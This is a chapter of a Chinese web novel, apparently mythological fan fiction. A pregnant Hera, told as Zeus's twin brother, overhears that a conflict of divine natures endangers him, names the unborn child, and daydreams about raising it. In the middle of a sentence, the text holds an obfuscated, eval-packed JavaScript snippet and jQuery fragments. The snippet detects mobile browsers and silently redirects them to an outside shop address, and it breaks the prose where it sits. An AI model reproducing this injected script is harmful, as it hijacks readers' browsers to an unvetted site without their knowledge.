那段时间，我的睡眠变得越来越轻。有什么东西在我体内撕扯、重组、此消彼长，让我即使在梦中也无法真正安息。
宙斯以为我睡着了。
他总是这样，等我闭上眼睛、呼吸变得绵长之后，才开始处理那些被我拖累了一整天的堆积如山的政务。
他偶尔会站起来，走到我床边，把手覆在我额头上试探体温。确认我没有发烧、出汗，或是在睡梦中皱眉之后，他会回到那张椅子上，继续批阅。
今夜不一样。
我睡得比平时更沉一些——不是因为身体好转，恰恰相反，是因为今天吐了太多次，身体彻底虚脱了，连挣扎的力气都没有，只能像一摊被太阳晒化的蜡一样瘫在床上。
意识在黑暗的深水里缓慢下沉，沉到几乎听不见外界的声音。但有些东西是沉不到底的，比如他的声音——
“……你说‘神格冲突’，什么意思？”
另一个声音响起来，是普罗米修斯。
“神明的孕期反应，通常源于母体对胎儿神格的排异。胎儿的神格继承自父母双方，如果父母神格相近，排异反应就小。如果父母神格相斥，排异反应就大。但你们的情况，不是相斥，是失衡。”
“赫拉的主神格是天空。你成为神王之后，你们原本地位相当的天空神格开始失衡——你的在增强，他的在削弱。这是神王权柄的必然结果，天空只能有一个至高意志，另一个天空会自动降格为附属。”
“与此同时，他怀孕了。胎儿继承自你的那部分神格，在母体内天然地排斥母体，是本能的生存竞争。一增一减之间，母体的神格被两端挤压——上面是神王权柄的压制，下面是胎儿神格的冲击。”
“此外，赫拉还有一个潜藏的神格，生育。这个神格在他怀孕之前一直沉睡，现在被唤醒了。生育神格的本质是创造新生命，它的增强需要消耗母体大量的神力。母体的神力总量是固定的，生育神格抢占的资源越多，天空神格能分到的就越少。”
“所以他现在的情况是，天空神格在减弱，生育神格在增强。两种力量的此消彼长，超出了他身体的承受极限。他的虚弱不是孕期反应的附赠品，是神格冲突的直接后果。”
宙斯的声音终于响起来了。
“会怎样？”
普罗米修斯没有立刻回答。
“……母体的神格如果继续被两端挤压，最终会导致神格崩裂。”
神格崩裂。
我的意识往更深处沉了下去。
普罗米修斯的声音重新响起来，但我已经听不清了。那些字句变成了水面上方的模糊声响，像隔着厚厚水层传来的失去了意义的音节。
我只知道他在说话，却听不清他具体在说什么。也许是在说治疗方案，也许是在说最后的日子，也许是在说我肚子里那个孩子，那个正在与我争夺神格的孩子——
能不能活下来。
黑暗从四面八方涌来，像海水灌进沉船的船舱。我的意识在黑暗中不可逆转地下沉，穿过水层，穿过岩层，穿过那些连神都无法命名的、比冥府更深的地方。
在下沉的最后一瞬，我听见了一个声音。不是普罗米修斯，不是宙斯，是更温柔、更慈爱、更具力量感的声音。
也许是我的，也许是瑞亚的，也许是所有做过母亲的声音——
“你不是第一个，也不会是最后一个，每一个母亲都走过这条路。”
“你现在流的每一滴血、每一次呕吐、每一斤从身上剥离的体重，都不会被忘记，它们会被你的孩子记住。他长大后每一次看见你，都会想起那个他还没有眼睛、没有耳朵、没有心脏的时候，就感受到的温度。你的体温、你的心跳、你的疼痛……那些东西会变成他的一部分。”
“所以不要怕，你失去的那些部分，不会消失。它们会变成另一个形状，那个形状叫——母亲。”
醒来的时候，窗外的天光已经变了。
宙斯坐在床边，身体微微前倾，低头看着我的小腹。那个姿势他维持了多久，我不知道。
我的手从被子下面伸出来，碰到他的手指。
“宙斯。”
他抬起头看着我的脸，那双金色眼睛里有血丝。
“你醒了。”他的声音也是哑的。
“你昨晚没睡？”
“睡了。”
他在撒谎。
“我好像做了一个梦，”我没有拆穿他，“梦见你在和别人说话。”
宙斯的睫毛颤了一下。
“说了什么？”
“不记得了，”我偏过头，看着窗外那片灰色的天空，“好像提到了什么神格。”
他沉默了一瞬。
“没什么，普罗米修斯来送了一份关于神格演变的报告。我让他念了几段，你大概是听见了。”
“神格演变？”
“就是一些学术上的东西，和你没关系。”
他俯下身，嘴唇落在我的额头上。
“再睡一会儿，我去给你煮粥。”
他走出去了。
我躺在床上，看着天花板，手覆在自己的小腹上。隔着衣袍，隔着皮肤，隔着那层正在缓慢隆起的血肉，我什么都感觉不到。
但那里有一个孩子。
我和他的孩子。
我的孩子。
他不是从任何神谕里得知的，是身体自己知道的。
我的身体在过去的几个月里被他搅得天翻地覆，吃不下、睡不着、瘦了又瘦、吐到胃里什么都不剩还要继续干呕……
他不讲道理，不问主人，不守规矩，想拿什么就拿什么，想占多少就占多少。我的身体把他当成敌人，但我知道他不是。
他是从我的身体里孕育出来的，用我的血，用我的骨，用我每天吃下去又吐出来的那点可怜的养分，一点一点地长。
我的手在小腹上停着，五指微微张开，像在覆盖什么，又像在倾听什么。
……
粥端来的时候，已经比平时晚了。
宙斯端着碗走到床边，坐在床沿上，舀起一勺喂我：“尝尝看？”
我张嘴，含住那勺粥，温热绵软的米粒在舌头上化开。
“好吃。”我说。
宙斯低下头，又舀了一勺。
“哥哥，你有想过给孩子取什么名字吗？”
“想过。”
“叫什么？”
“瑟默冬。”
宙斯定定地看着我的小腹，目光里闪过一丝我看不懂的东西。
“为什么叫这个？”
“孩子出生的时候，世界会很吵。”我说，“神王的长子，天空的孩子。他的名字会被很多人念，被很多人写，被很多人用来证明这个、证明那个，他会很忙。”
“但在他出生之前，他只在我的肚子里，只听见我的心跳，听见你我的声音。瑟默冬，我希望他在所有责任与身份之前，首先是我们的孩子，是一个在冬天里被期待的小生命。”
“瑟、默、冬。”宙斯缓慢地念着这个名字，然后对我笑了一下，“他会喜欢的。”
“你怎么知道？”
“因为是你取的。”
他把脸埋进我的颈窝，嘴唇贴着我的锁骨。
“哥哥，你是最重要的。”
听见他这没头没尾的一句话，我有些疑惑：“怎么突然说这个？”
“就是想说。”他轻啄我的唇，一下一下，“我不能没有你。”
作为弟弟，宙斯一贯擅长于表达对我的依赖和占有欲。从降生开始直到现在，他总是不时就会提一下我对他的重要性，以及我们双生子之间的羁绊。
我猜测这次大概也是如此，于是主动和他接了个吻。
我抚着他的脸颊，回应他：“我知道。”
夜深了，宙斯终于在我的再三催促下躺到我旁边，呼吸渐渐变得绵长而均匀。
我睡不着，脑子里有一幅我自己也不知道从什么时候开始出现的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648422|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
画。它在我脑海里一笔一笔地勾勒，每天添一些细节，涂一些颜色，越来越完整，越来越清晰，仿佛我闭上眼睛就能走进去。
——那幅画里，有一个孩子。
我想象他第一次翻身的样子。小小的身体，软软的，像一条刚从水里捞上来的鱼，笨拙地把自己从仰面朝天的姿势翻成趴着。翻过去之后，他会愣住，不知道解下来该怎么办。他的小脸会皱成一团，嘴巴一瘪一瘪的，然后他会哭。
我会把他抱起来，贴在我胸口，让他听见我的心跳。他在我身体里听了那么久的心跳，出来之后大概会想念那个声音。随后我会安慰他，给他哼摇篮曲哄他，慢慢他就不哭了。
我想象他第一次叫人的样子。也许第一个音节是“母”，含混的，也许是“父”，亦或者什么都不是，只是一串没有意义、但他自己觉得很有意义的音节组合。他会为自己的发明感到骄傲，咯咯地笑，露出粉色的牙床和嘴角亮晶晶的口水。
宙斯大概会愣住，然后问：“他是不是在叫我？”我会说：“他谁都没叫，只是在练习发声。”但宙斯不会信，他会觉得他的孩子就是天才，然后把这个事情讲给每一个奥林匹斯的神明听，讲到那些神明倒背如流，听到“有一次我家孩子——”就开始找借口告辞。
我想象他第一次走路的样子。跌跌撞撞的，像一只刚学会站立的小马驹，腿还不太听使唤，却已经在迫不及待地想要去更远的地方了。他会摔倒、会哭、会坐在地上，眼泪汪汪地看着我，伸手要我抱。
我不会立刻跑过去，而是蹲下来，张开双臂，对他说：“来，到母亲这里来。”
他会犹豫、会抽噎，会回头看一眼身后的地面，再看一眼我，然后撑着地面摇摇晃晃地站起来，迈出一步又一步。走到我面前的时候，他会扑进我的怀里，笑得像闪耀的宝珠。
这些画面在我脑海里一遍一遍地播放，不厌其烦。
有时候我会在这些画面里加上宙斯。他的手指从孩子腋下穿过，把孩子举过头顶，孩子在他手掌上空蹬着两条肉乎乎的腿，开心地一直笑。阳光从穹顶上落下来，把他们的轮廓镀成金色。
我想象我们一家三口的样子。
也许是一个普通的早晨，我先醒，侧过脸看见宙斯还睡着，他的手臂环着我的腰，另一只手臂环着孩子。孩子睡在我们中间，小拳头攥得紧紧的，像握着什么只有他自己知道的东西。
我会轻轻地把他的手指打开，把那个奶香味的掌心贴在我的嘴唇上，亲一下，他的手指会蜷起来，抓住我的唇瓣不松手。
或者也许是一个黄昏。宙斯坐在王座上，怀里抱着孩子，孩子在哭，宙斯不会哄。他只会把孩子举到眼前，大眼瞪小眼。孩子哭得更大声了，宙斯会慌乱地把他放下来，换个姿势，束手无策地说：“别哭了，我是你父亲。”
我会走过去，从他怀里接过孩子。孩子一到了我的怀里就不哭了，像找到了一个正确的频道。宙斯则会露出一种复杂的表情，既松了一口气，又有一点酸，假装不在意地说：“他更喜欢你。”我会说：“他只是跟你还不熟。”之后我会把孩子放回他怀里，教他应该怎么抱。
我想象孩子长大一些的样子。他会跑、会跳、会问很多问题——“为什么天是蓝的？”“为什么鸟会飞？”“为什么父亲是神王？”……有些我能回答，有些我不能，我就会让他去问宙斯。宙斯会说“因为我是神王”作为所有问题的答案，孩子会不满意，会追问，会把他问得哑口无言。
宙斯会来找我，说：“你的孩子太难搞了。”我会说：“也是你孩子。”他说：“我们的孩子。”
我想象很多很多年以后。孩子长大了，不再是那个会追蝴蝶的年纪了，他有了自己的领域、自己的责任，不会每天回来看我们。他会长得比我们高，拥抱我的时候，会微微弯下腰，对我说他回来了。
这些画面太真实了，真实到我几乎以为我已经活在那个未来了。
快快长大吧，我的瑟默冬。